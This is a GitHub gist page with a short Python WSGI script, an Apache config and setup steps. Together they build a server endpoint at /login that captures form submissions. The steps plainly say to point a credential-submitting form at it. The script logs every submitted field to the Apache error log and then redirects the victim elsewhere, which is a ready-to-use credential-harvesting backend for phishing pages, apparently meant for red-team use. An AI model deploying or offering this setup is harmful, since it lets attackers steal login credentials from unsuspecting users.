Skip to content

Instantly share code, notes, and snippets.

@byt3bl33d3r
Last active December 9, 2019 19:34
Show Gist options
  • Save byt3bl33d3r/d4dfc262678ab24630f3a4235d7bd7ca to your computer and use it in GitHub Desktop.
Save byt3bl33d3r/d4dfc262678ab24630f3a4235d7bd7ca to your computer and use it in GitHub Desktop.
Capture form data using Apache2 + mod_wsgi and Python (no PHP!)
# All output will be logged in /var/log/apache2/error.log
import logging
from cgi import parse_qs, escape
logging.basicConfig(format='%(asctime)s,%(msecs)d %(name)s %(levelname)s %(message)s',
datefmt='%H:%M:%S',
level=logging.DEBUG)
def application(environ, start_response):
status = '302 Found'
output = b''
# the environment variable CONTENT_LENGTH may be empty or missing
try:
request_body_size = int(environ.get('CONTENT_LENGTH', 0))
except (ValueError):
request_body_size = 0
request_body = environ['wsgi.input'].read(request_body_size)
data = parse_qs(request_body)
logging.info("Got data: {}".format(data))
response_headers = [('Location', 'https://mydomain.com/to/redirect/to'),
('Content-Length', str(len(output)))]
start_response(status, response_headers)
return [output]

Setup

  1. sudo apt-get install libapache2-mod-wsgi -y
  2. Put Python script in the directory you want it in
  3. sudo chown www-data:www-data /var/www/html/captureform.py
  4. sudo chmod 755 /var/www/html/captureform.py
  5. Configure the wsgi Apache mod, place the below wsgi.conf file in /etc/apache2/conf-available/wsgi.conf
  6. sudo a2enconf wsgi
  7. sudo systemctl restart apache2
  8. Point the form that submits creds to the URL that's defined as the WSGI Alias (in this case /login, you can change that in the wsgi.conf file

Notes

  • All output/errors from scripts ran with mod_wsgi will be logged to /var/log/apache2/error.log
  • As of the time of writing, Python 2.7 will be used by mod_wsgi. If you want it to use Python 3.7 you're going to have to follow the intructions here to recompile mod_wsgi.
# Put me in /etc/apache2/conf-available/wsgi.conf
WSGIScriptAlias /login /var/www/html/captureform.py
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment